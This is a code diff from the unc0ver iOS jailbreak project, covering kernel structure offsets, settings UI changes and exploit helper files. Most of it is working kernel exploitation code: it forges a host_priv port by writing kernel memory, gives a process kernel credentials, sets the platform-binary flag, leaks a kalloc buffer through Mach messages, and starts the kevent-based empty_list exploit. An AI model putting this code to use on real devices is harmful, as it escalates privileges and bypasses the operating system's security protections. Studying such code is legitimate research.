0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
0x6c, // KFREE_ADDR_OFFSET
};
int kstruct_offsets_11_3[] = {
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
0x28, // KSTRUCT_OFFSET_TASK_NEXT,
0x30, // KSTRUCT_OFFSET_TASK_PREV,
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
0x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
0x10, // KSTRUCT_OFFSET_PROC_PID,
0x108, // KSTRUCT_OFFSET_PROC_P_FD
0x18, // KSTRUCT_OFFSET_PROC_TASK
0x100, // KSTRUCT_OFFSET_PROC_UCRED
0x8, // KSTRUCT_OFFSET_PROC_P_LIST
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
0x7c, // KFREE_ADDR_OFFSET
};
int koffset(enum kstruct_offset offset)
{
if (offsets == NULL) {
LOG("need to call offsets_init() prior to querying offsets");
return 0;
}
return offsets[offset];
}
void offsets_init()
{
if (kCFCoreFoundationVersionNumber >= 1452.23) {
LOG("offsets selected for iOS 11.3 or above");
offsets = kstruct_offsets_11_3;
} else if (kCFCoreFoundationVersionNumber >= 1443.00) {
LOG("offsets selected for iOS 11.0 to 11.2.6");
offsets = kstruct_offsets_11_0;
} else {
LOG("iOS version too low, 11.0 required");
exit(EXIT_FAILURE);
}
}
-150
View File
@@ -1,150 +0,0 @@
#include <CoreFoundation/CoreFoundation.h>
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <common.h>
#include <iokit.h>
#include "KernelMemory.h"
#include "KernelStructureOffsets.h"
#include "KernelUtilities.h"
#include "find_port.h"
#define TF_PLATFORM 0x00000400 /* task is a platform binary */
uint64_t the_realhost;
uint64_t kernel_base;
uint64_t kernel_slide;
offsets_t offs;
uint64_t cached_task_self_addr = 0;
uint64_t task_self_addr()
{
if (cached_task_self_addr == 0) {
cached_task_self_addr = (kCFCoreFoundationVersionNumber >= 1450.14) ? get_address_of_port(getpid(), mach_task_self()) : find_port_address(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);
LOG("task self: 0x%llx", cached_task_self_addr);
}
return cached_task_self_addr;
}
uint64_t ipc_space_kernel()
{
return ReadKernel64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));
}
uint64_t current_thread()
{
uint64_t thread_port = (kCFCoreFoundationVersionNumber >= 1450.14) ? get_address_of_port(getpid(), mach_thread_self()) : find_port_address(mach_thread_self(), MACH_MSG_TYPE_COPY_SEND);
return ReadKernel64(thread_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
}
uint64_t find_kernel_base()
{
uint64_t hostport_addr = (kCFCoreFoundationVersionNumber >= 1450.14) ? get_address_of_port(getpid(), mach_host_self()) : find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);
uint64_t realhost = ReadKernel64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
the_realhost = realhost;
uint64_t base = realhost & ~0xfffULL;
// walk down to find the magic:
for (int i = 0; i < 0x10000; i++) {
if (ReadKernel32(base) == MACH_HEADER_MAGIC) {
return base;
}
base -= 0x1000;
}
return 0;
}
mach_port_t fake_host_priv_port = MACH_PORT_NULL;
// build a fake host priv port
mach_port_t fake_host_priv()
{
if (fake_host_priv_port != MACH_PORT_NULL) {
return fake_host_priv_port;
}
// get the address of realhost:
uint64_t hostport_addr = (kCFCoreFoundationVersionNumber >= 1450.14) ? get_address_of_port(getpid(), mach_host_self()) : find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);
uint64_t realhost = ReadKernel64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
// allocate a port
mach_port_t port = MACH_PORT_NULL;
kern_return_t err;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (err != KERN_SUCCESS) {
LOG("failed to allocate port");
return MACH_PORT_NULL;
}
// get a send right
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
// locate the port
uint64_t port_addr = (kCFCoreFoundationVersionNumber >= 1450.14) ? get_address_of_port(getpid(), port) : find_port_address(port, MACH_MSG_TYPE_COPY_SEND);
// change the type of the port
#define IKOT_HOST_PRIV 4
#define IO_ACTIVE 0x80000000
WriteKernel32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE | IKOT_HOST_PRIV);
// change the space of the port
WriteKernel64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel());
// set the kobject
WriteKernel64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), realhost);
fake_host_priv_port = port;
return port;
}
int message_size_for_kalloc_size(int kalloc_size)
{
return ((3 * kalloc_size) / 4) - 0x74;
}
uint64_t get_proc_struct_for_pid(pid_t pid)
{
uint64_t proc = ReadKernel64(ReadKernel64(GETOFFSET(kernel_task)) + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
while (proc) {
if (ReadKernel32(proc + koffset(KSTRUCT_OFFSET_PROC_PID)) == pid)
return proc;
proc = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_P_LIST));
}
return 0;
}
uint64_t get_address_of_port(pid_t pid, mach_port_t port)
{
uint64_t proc_struct_addr = get_proc_struct_for_pid(pid);
uint64_t task_addr = ReadKernel64(proc_struct_addr + koffset(KSTRUCT_OFFSET_PROC_TASK));
uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
uint32_t port_index = port >> 8;
const int sizeof_ipc_entry_t = 0x18;
uint64_t port_addr = ReadKernel64(is_table + (port_index * sizeof_ipc_entry_t));
return port_addr;
}
uint64_t get_kernel_cred_addr()
{
uint64_t kernel_proc_struct_addr = ReadKernel64(ReadKernel64(GETOFFSET(kernel_task)) + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
return ReadKernel64(kernel_proc_struct_addr + koffset(KSTRUCT_OFFSET_PROC_UCRED));
}
uint64_t give_creds_to_process_at_addr(uint64_t proc, uint64_t cred_addr)
{
uint64_t orig_creds = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_UCRED));
WriteKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_UCRED), cred_addr);
return orig_creds;
}
void set_platform_binary(uint64_t proc)
{
uint64_t task_struct_addr = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_TASK));
uint32_t task_t_flags = ReadKernel32(task_struct_addr + koffset(KSTRUCT_OFFSET_TASK_TFLAGS));
task_t_flags |= TF_PLATFORM;
WriteKernel32(task_struct_addr + koffset(KSTRUCT_OFFSET_TASK_TFLAGS), task_t_flags);
}
-46
View File
@@ -1,46 +0,0 @@
#ifndef kutils_h
#define kutils_h
#include <common.h>
#include <mach/mach.h>
#define SETOFFSET(offset, val) (offs.offset = val)
#define GETOFFSET(offset) offs.offset
typedef struct {
kptr_t trustcache;
kptr_t OSBoolean_True;
kptr_t osunserializexml;
kptr_t smalloc;
kptr_t add_x0_x0_0x40_ret;
kptr_t zone_map_ref;
kptr_t vfs_context_current;
kptr_t vnode_lookup;
kptr_t vnode_put;
kptr_t kernel_task;
kptr_t shenanigans;
kptr_t lck_mtx_lock;
kptr_t lck_mtx_unlock;
} offsets_t;
extern offsets_t offs;
extern uint64_t kernel_base;
extern uint64_t kernel_slide;
uint64_t task_self_addr(void);
uint64_t ipc_space_kernel(void);
uint64_t find_kernel_base(void);
uint64_t current_thread(void);
mach_port_t fake_host_priv(void);
int message_size_for_kalloc_size(int kalloc_size);
uint64_t get_proc_struct_for_pid(pid_t pid);
uint64_t get_address_of_port(pid_t pid, mach_port_t port);
uint64_t get_kernel_cred_addr(void);
uint64_t give_creds_to_process_at_addr(uint64_t proc, uint64_t cred_addr);
void set_platform_binary(uint64_t proc);
#endif /* kutils_h */
+21 -6
View File
@@ -7,8 +7,6 @@
//
#import <UIKit/UIKit.h>
#import "common.h"
#import "utils.h"
#define K_TWEAK_INJECTION @"TweakInjection"
#define K_LOAD_DAEMONS @"LoadDaemons"
@@ -26,8 +24,27 @@
#define K_INSTALL_OPENSSH @"InstallOpenSSH"
#define K_INSTALL_CYDIA @"InstallCydia"
#define K_RELOAD_SYSTEM_DAEMONS @"ReloadSystemDaemons"
#define K_HIDE_LOG_WINDOW @"HideLogWindow"
#define K_RESET_CYDIA_CACHE @"ResetCydiaCache"
#define LOG_FILE [[NSString stringWithFormat:@"%@/Documents/log_file.txt", NSHomeDirectory()] UTF8String]
#define ISDEBUGGERATTACHED() (!(getppid() == 1))
#define START_LOGGING() do { \
if (!ISDEBUGGERATTACHED()) { \
freopen(LOG_FILE, "a+", stderr); \
freopen(LOG_FILE, "a+", stdout); \
setbuf(stdout, NULL); \
setbuf(stderr, NULL);\
} \
} while (false) \
#define RESET_LOGS() do { \
if (!ISDEBUGGERATTACHED()) { \
if (!access(LOG_FILE, F_OK)) { \
unlink(LOG_FILE); \
} \
} \
} while(false) \
@interface SettingsTableViewController : UITableViewController <UITextFieldDelegate>
@property (weak, nonatomic) IBOutlet UISwitch *TweakInjectionSwitch;
@@ -53,8 +70,6 @@
@property (weak, nonatomic) IBOutlet UITextField *ECIDLabel;
@property (weak, nonatomic) IBOutlet UISwitch *ReloadSystemDaemonsSwitch;
@property (weak, nonatomic) IBOutlet UIButton *RestartSpringBoardButton;
@property (weak, nonatomic) IBOutlet UISwitch *HideLogWindowSwitch;
@property (weak, nonatomic) IBOutlet UISwitch *ResetCydiaCacheSwitch;
+ (NSDictionary *)_provisioningProfileAtPath:(NSString *)path;
+20 -33
View File
@@ -12,7 +12,7 @@
#include <common.h>
#include "hideventsystem.h"
#include "remote_call.h"
#include "JailbreakViewController.h"
#include "ViewController.h"
#include "utils.h"
@interface SettingsTableViewController ()
@@ -166,7 +166,7 @@
struct utsname u = { 0 };
NSMutableDictionary *md = nil;
uname(&u);
md = [NSMutableDictionary new];
md = [[NSMutableDictionary alloc] init];
md[@"Sysname"] = [NSString stringWithUTF8String:u.sysname];
md[@"Nodename"] = [NSString stringWithUTF8String:u.nodename];
md[@"Release"] = [NSString stringWithUTF8String:u.release];
@@ -176,7 +176,7 @@
md[@"ProductBuildVersion"] = [NSMutableDictionary dictionaryWithContentsOfFile:@"/System/Library/CoreServices/SystemVersion.plist"][@"ProductBuildVersion"];
md[@"Sources"] = [SettingsTableViewController sourcesFromFile:CYDIA_LIST];
md[@"Packages"] = [SettingsTableViewController parsedPackageArray];
md[@"Preferences"] = [NSMutableDictionary new];
md[@"Preferences"] = [[NSMutableDictionary alloc] init];
md[@"Preferences"][@"TweakInjection"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_TWEAK_INJECTION];
md[@"Preferences"][@"LoadDaemons"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_LOAD_DAEMONS];
md[@"Preferences"][@"DumpAPTicket"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_DUMP_APTICKET];
@@ -191,8 +191,8 @@
md[@"Preferences"][@"IncreaseMemoryLimit"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_INCREASE_MEMORY_LIMIT];
md[@"Preferences"][@"InstallCydia"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_INSTALL_CYDIA];
md[@"Preferences"][@"InstallOpenSSH"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_INSTALL_OPENSSH];
md[@"AppVersion"] = appVersion();
md[@"LogFile"] = [NSString stringWithContentsOfFile:[NSString stringWithUTF8String:getLogFile()] encoding:NSUTF8StringEncoding error:nil];
md[@"AppVersion"] = [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleShortVersionString"];
md[@"LogFile"] = [NSString stringWithContentsOfFile:[NSString stringWithUTF8String:LOG_FILE] encoding:NSUTF8StringEncoding error:nil];
return md;
}
@@ -234,9 +234,9 @@
[self.KernelExploitSegmentedControl setSelectedSegmentIndex:[[NSUserDefaults standardUserDefaults] integerForKey:K_EXPLOIT]];
[self.DisableAutoUpdatesSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_DISABLE_AUTO_UPDATES]];
[self.DisableAppRevokesSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_DISABLE_APP_REVOKES]];
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(empty_list_exploit) forSegmentAtIndex:0];
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(multi_path_exploit) forSegmentAtIndex:1];
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(async_wake_exploit) forSegmentAtIndex:2];
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(empty_list) forSegmentAtIndex:0];
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(multi_path) forSegmentAtIndex:1];
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(async_wake) forSegmentAtIndex:2];
[self.OpenCydiaButton setEnabled:[[UIApplication sharedApplication] canOpenURL:[NSURL URLWithString:@"cydia://"]]];
[self.ExpiryLabel setPlaceholder:[NSString stringWithFormat:@"%d %@", (int)[[SettingsTableViewController _provisioningProfileAtPath:[[NSBundle mainBundle] pathForResource:@"embedded" ofType:@"mobileprovision"]][@"ExpirationDate"] timeIntervalSinceDate:[NSDate date]] / 86400, NSLocalizedString(@"Days", nil)]];
[self.OverwriteBootNonceSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_OVERWRITE_BOOT_NONCE]];
@@ -248,8 +248,6 @@
[self.installCydiaSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_INSTALL_CYDIA]];
[self.ECIDLabel setPlaceholder:hexFromInt([[[NSUserDefaults standardUserDefaults] objectForKey:K_ECID] integerValue])];
[self.ReloadSystemDaemonsSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_RELOAD_SYSTEM_DAEMONS]];
[self.HideLogWindowSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_HIDE_LOG_WINDOW]];
[self.ResetCydiaCacheSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_RESET_CYDIA_CACHE]];
[self.RestartSpringBoardButton setEnabled:respringSupported()];
[self.restartButton setEnabled:restartSupported()];
[self.tableView reloadData];
@@ -308,7 +306,7 @@
NSInteger support = recommendedRestartSupport();
_assert(support != -1, message, true);
switch (support) {
case necp_exploit: {
case necp: {
necp_die();
break;
}
@@ -371,12 +369,16 @@
[self presentViewController:copyBootNonceAlert animated:TRUE completion:nil];
}
- (IBAction)tappedOnGetTechnicalSupport:(id)sender {
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://discord.gg/jb"] options:@{} completionHandler:nil];
}
- (IBAction)tappedOnCheckForUpdate:(id)sender {
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), ^{
NSString *Update = [NSString stringWithContentsOfURL:[NSURL URLWithString:@"https://github.com/pwn20wndstuff/Undecimus/raw/master/Update.txt"] encoding:NSUTF8StringEncoding error:nil];
if (Update == nil) {
NOTICE(NSLocalizedString(@"Failed to check for update.", nil), true, false);
} else if ([Update compare:appVersion() options:NSNumericSearch] == NSOrderedDescending) {
} else if ([Update compare:[[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleShortVersionString"] options:NSNumericSearch] == NSOrderedDescending) {
NOTICE(NSLocalizedString(@"An update is available.", nil), true, false);
} else {
NOTICE(NSLocalizedString(@"Already up to date.", nil), true, false);
@@ -408,7 +410,7 @@
}
- (void)tableView:(UITableView *)tableView willDisplayFooterView:(UITableViewHeaderFooterView *)footerView forSection:(NSInteger)section {
footerView.textLabel.text = [@"unc0ver " stringByAppendingString:appVersion()];
footerView.textLabel.text = [@"unc0ver " stringByAppendingString:[[[NSBundle mainBundle] infoDictionary] valueForKey:@"CFBundleShortVersionString"]];
footerView.textLabel.textAlignment = NSTextAlignmentCenter;
}
@@ -437,10 +439,10 @@
NSInteger support = recommendedRespringSupport();
_assert(support != -1, message, true);
switch (support) {
case deja_xnu_exploit: {
case deja_xnu: {
mach_port_t bb_tp = hid_event_queue_exploit();
_assert(MACH_PORT_VALID(bb_tp), message, true);
_assert(thread_call_remote(bb_tp, exit, 1, REMOTE_LITERAL(EXIT_SUCCESS)) == ERR_SUCCESS, message, true);
_assert(thread_call_remote(bb_tp, exit, 1, REMOTE_LITERAL(0)) == 0, message, true);
break;
}
default:
@@ -451,24 +453,9 @@
}
- (IBAction)tappedOnCleanDiagnosticsData:(id)sender {
cleanLogs();
NOTICE(NSLocalizedString(@"Cleaned diagnostics data.", nil), false, false);
}
- (IBAction)hideLogWindowSwitchTriggered:(id)sender {
[[NSUserDefaults standardUserDefaults] setBool:[self.HideLogWindowSwitch isOn] forKey:K_HIDE_LOG_WINDOW];
[[NSUserDefaults standardUserDefaults] synchronize];
[self reloadData];
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), ^{
NOTICE(NSLocalizedString(@"Preference was changed. The app will now exit.", nil), true, false);
exit(EXIT_SUCCESS);
});
}
- (IBAction)resetCydiaCacheSwitchTriggered:(id)sender {
[[NSUserDefaults standardUserDefaults] setBool:[self.ResetCydiaCacheSwitch isOn] forKey:K_RESET_CYDIA_CACHE];
[[NSUserDefaults standardUserDefaults] synchronize];
[self reloadData];
RESET_LOGS();
START_LOGGING();
NOTICE(@"Cleaned diagnostics data.", false, false);
}
- (void)didReceiveMemoryWarning {
@@ -1,5 +1,5 @@
//
// JailbreakViewController.h
// ViewController.h
// Undecimus
//
// Created by pwn20wnd on 8/29/18.
@@ -7,7 +7,7 @@
//
#import <UIKit/UIKit.h>
#import "common.h"
#include <common.h>
#define __FILENAME__ (__builtin_strrchr(__FILE__, '/') ? __builtin_strrchr(__FILE__, '/') + 1 : __FILE__)
@@ -28,31 +28,13 @@ while (false)
#define NOTICE(msg, wait, destructive) showAlert(@"Notice", msg, wait, destructive)
@interface JailbreakViewController : UIViewController
@property (weak, nonatomic) IBOutlet UIButton *goButton;
@property (weak, nonatomic) IBOutlet UITextView *outputView;
@property (readonly) JailbreakViewController *sharedController;
@property (weak, nonatomic) IBOutlet NSLayoutConstraint *goButtonSpacing;
double uptime(void);
int necp_die(void);
NSString *hexFromInt(NSInteger val);
- (IBAction)tappedOnJailbreak:(id)sender;
+(JailbreakViewController*)sharedController;
- (void)appendTextToOutput:(NSString*)text;
@end
static inline void showAlert(NSString *title, NSString *message, Boolean wait, Boolean destructive) {
dispatch_semaphore_t semaphore;
if (wait)
semaphore = dispatch_semaphore_create(0);
dispatch_async(dispatch_get_main_queue(), ^{
JailbreakViewController *controller = [JailbreakViewController sharedController];
[controller dismissViewControllerAnimated:YES completion:nil];
[[[[[UIApplication sharedApplication] delegate] window] rootViewController] dismissViewControllerAnimated:YES completion:nil];
UIAlertController *alertController = [UIAlertController alertControllerWithTitle:title message:message preferredStyle:UIAlertControllerStyleAlert];
UIAlertAction *OK = [UIAlertAction actionWithTitle:@"OK" style:destructive ? UIAlertActionStyleDestructive : UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
if (wait)
@@ -60,8 +42,22 @@ static inline void showAlert(NSString *title, NSString *message, Boolean wait, B
}];
[alertController addAction:OK];
[alertController setPreferredAction:OK];
[controller presentViewController:alertController animated:YES completion:nil];
[[[[[UIApplication sharedApplication] delegate] window] rootViewController] presentViewController:alertController animated:YES completion:nil];
});
if (wait)
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
}
@interface ViewController : UIViewController
@property (weak, nonatomic) IBOutlet UIButton *goButton;
double uptime(void);
int necp_die(void);
NSString *hexFromInt(NSInteger val);
- (IBAction)tappedOnJailbreak:(id)sender;
+(ViewController*)sharedController;
@end
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+1 -1
View File
@@ -3,6 +3,6 @@
#include <stdio.h>
bool async_wake_go(void);
void async_wake_go(void);
#endif /* async_wake_h */
+51 -51
View File
@@ -8,62 +8,62 @@
#include "early_kalloc.h"
#include <mach/mach.h>
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include "KernelMemory.h"
#include "KernelStructureOffsets.h"
#include "KernelUtilities.h"
#include "find_port.h"
#include "kmem.h"
#include "offsets.h"
#include <common.h>
#include "kutils.h"
// get a kalloc allocation before we've got a kcall interface to just call it
uint64_t early_kalloc(int size)
{
mach_port_t port = MACH_PORT_NULL;
kern_return_t err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (err != KERN_SUCCESS) {
LOG("unable to allocate port");
}
uint64_t port_kaddr = find_port_address(port, MACH_MSG_TYPE_MAKE_SEND);
struct simple_msg {
mach_msg_header_t hdr;
char buf[0];
};
mach_msg_size_t msg_size = message_size_for_kalloc_size(size);
struct simple_msg* msg = malloc(msg_size);
memset(msg, 0, msg_size);
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = msg_size;
msg->hdr.msgh_remote_port = port;
msg->hdr.msgh_local_port = MACH_PORT_NULL;
msg->hdr.msgh_id = 0x41414142;
err = mach_msg(&msg->hdr,
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
msg_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
LOG("early kalloc failed to send message");
}
// find the message buffer:
uint64_t message_buffer = ReadKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE));
LOG("message buffer: %llx", message_buffer);
// leak the message buffer:
WriteKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE), 0);
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT), 0x50000); // this is two uint16_ts, msg_count and qlimit
return message_buffer;
uint64_t early_kalloc(int size) {
mach_port_t port = MACH_PORT_NULL;
kern_return_t err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (err != KERN_SUCCESS) {
LOG("unable to allocate port\n");
}
uint64_t port_kaddr = find_port_address(port, MACH_MSG_TYPE_MAKE_SEND);
struct simple_msg {
mach_msg_header_t hdr;
char buf[0];
};
mach_msg_size_t msg_size = message_size_for_kalloc_size(size);
struct simple_msg* msg = malloc(msg_size);
memset(msg, 0, msg_size);
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = msg_size;
msg->hdr.msgh_remote_port = port;
msg->hdr.msgh_local_port = MACH_PORT_NULL;
msg->hdr.msgh_id = 0x41414142;
err = mach_msg(&msg->hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
msg_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
LOG("early kalloc failed to send message\n");
}
// find the message buffer:
uint64_t message_buffer = ReadKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE));
LOG("message buffer: %llx\n", message_buffer);
// leak the message buffer:
WriteKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE), 0);
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT), 0x50000); // this is two uint16_ts, msg_count and qlimit
return message_buffer;
}
File diff suppressed because it is too large Load Diff
+2 -2
View File
@@ -1,7 +1,7 @@
#ifndef empty_list_sploit_h
#define empty_list_sploit_h
#import <stdbool.h>
bool vfs_sploit(void);
void vfs_sploit(void);
#endif
+192 -197
View File
@@ -4,10 +4,10 @@
#include <mach/mach.h>
#include "KernelMemory.h"
#include "KernelStructureOffsets.h"
#include "KernelUtilities.h"
#include "find_port.h"
#include "kmem.h"
#include "offsets.h"
#include "kutils.h"
#include <common.h>
/*
@@ -23,237 +23,232 @@
typedef uint64_t kqueue_id_t;
struct kevent_qos_s {
uint64_t ident; /* identifier for this event */
int16_t filter; /* filter for event */
uint16_t flags; /* general flags */
uint32_t qos; /* quality of service when servicing event */
uint64_t udata; /* opaque user data identifier */
uint32_t fflags; /* filter-specific flags */
uint32_t xflags; /* extra filter-specific flags */
int64_t data; /* filter-specific data */
uint64_t ext[4]; /* filter-specific extensions */
uint64_t ident; /* identifier for this event */
int16_t filter; /* filter for event */
uint16_t flags; /* general flags */
uint32_t qos; /* quality of service when servicing event */
uint64_t udata; /* opaque user data identifier */
uint32_t fflags; /* filter-specific flags */
uint32_t xflags; /* extra filter-specific flags */
int64_t data; /* filter-specific data */
uint64_t ext[4]; /* filter-specific extensions */
};
#define PRIVATE
#include <sys/types.h>
#include <sys/event.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/event.h>
struct kevent_extinfo {
struct kevent_qos_s kqext_kev;
uint64_t kqext_sdata;
int kqext_status;
int kqext_sfflags;
uint64_t kqext_reserved[2];
struct kevent_qos_s kqext_kev;
uint64_t kqext_sdata;
int kqext_status;
int kqext_sfflags;
uint64_t kqext_reserved[2];
};
extern int kevent_id(uint64_t id, const struct kevent_qos_s* changelist, int nchanges, struct kevent_qos_s* eventlist, int nevents, void* data_out, size_t* data_available, unsigned int flags);
extern int kevent_id(uint64_t id, const struct kevent_qos_s *changelist, int nchanges, struct kevent_qos_s *eventlist, int nevents, void *data_out, size_t *data_available, unsigned int flags);
int proc_list_uptrs(pid_t pid, uint64_t* buffer, uint32_t buffersize);
int proc_list_uptrs(pid_t pid, uint64_t *buffer, uint32_t buffersize);
// appends n_events user events onto this process's kevent queue
static void fill_events(int n_events)
{
struct kevent_qos_s events_id[] = { { .filter = EVFILT_USER,
.ident = 1,
.flags = EV_ADD,
.udata = 0x2345 } };
kqueue_id_t id = 0x1234;
for (int i = 0; i < n_events; i++) {
int err = kevent_id(id, events_id, 1, NULL, 0, NULL, NULL,
KEVENT_FLAG_WORKLOOP | KEVENT_FLAG_IMMEDIATE);
if (err != 0) {
LOG("failed to enqueue user event");
exit(EXIT_FAILURE);
}
events_id[0].ident++;
static void fill_events(int n_events) {
struct kevent_qos_s events_id[] = {{
.filter = EVFILT_USER,
.ident = 1,
.flags = EV_ADD,
.udata = 0x2345
}};
kqueue_id_t id = 0x1234;
for (int i = 0; i < n_events; i++) {
int err = kevent_id(id, events_id, 1, NULL, 0, NULL, NULL,
KEVENT_FLAG_WORKLOOP | KEVENT_FLAG_IMMEDIATE);
if (err != 0) {
LOG("failed to enqueue user event\n");
exit(EXIT_FAILURE);
}
events_id[0].ident++;
}
}
int kqueues_allocated = 0;
static void prepare_kqueue()
{
// ensure there are a large number of events so that kevent_proc_copy_uptrs
// always returns a large number
if (kqueues_allocated) {
return;
}
fill_events(10000);
LOG("prepared kqueue");
kqueues_allocated = 1;
static void prepare_kqueue() {
// ensure there are a large number of events so that kevent_proc_copy_uptrs
// always returns a large number
if (kqueues_allocated) {
return;
}
fill_events(10000);
LOG("prepared kqueue\n");
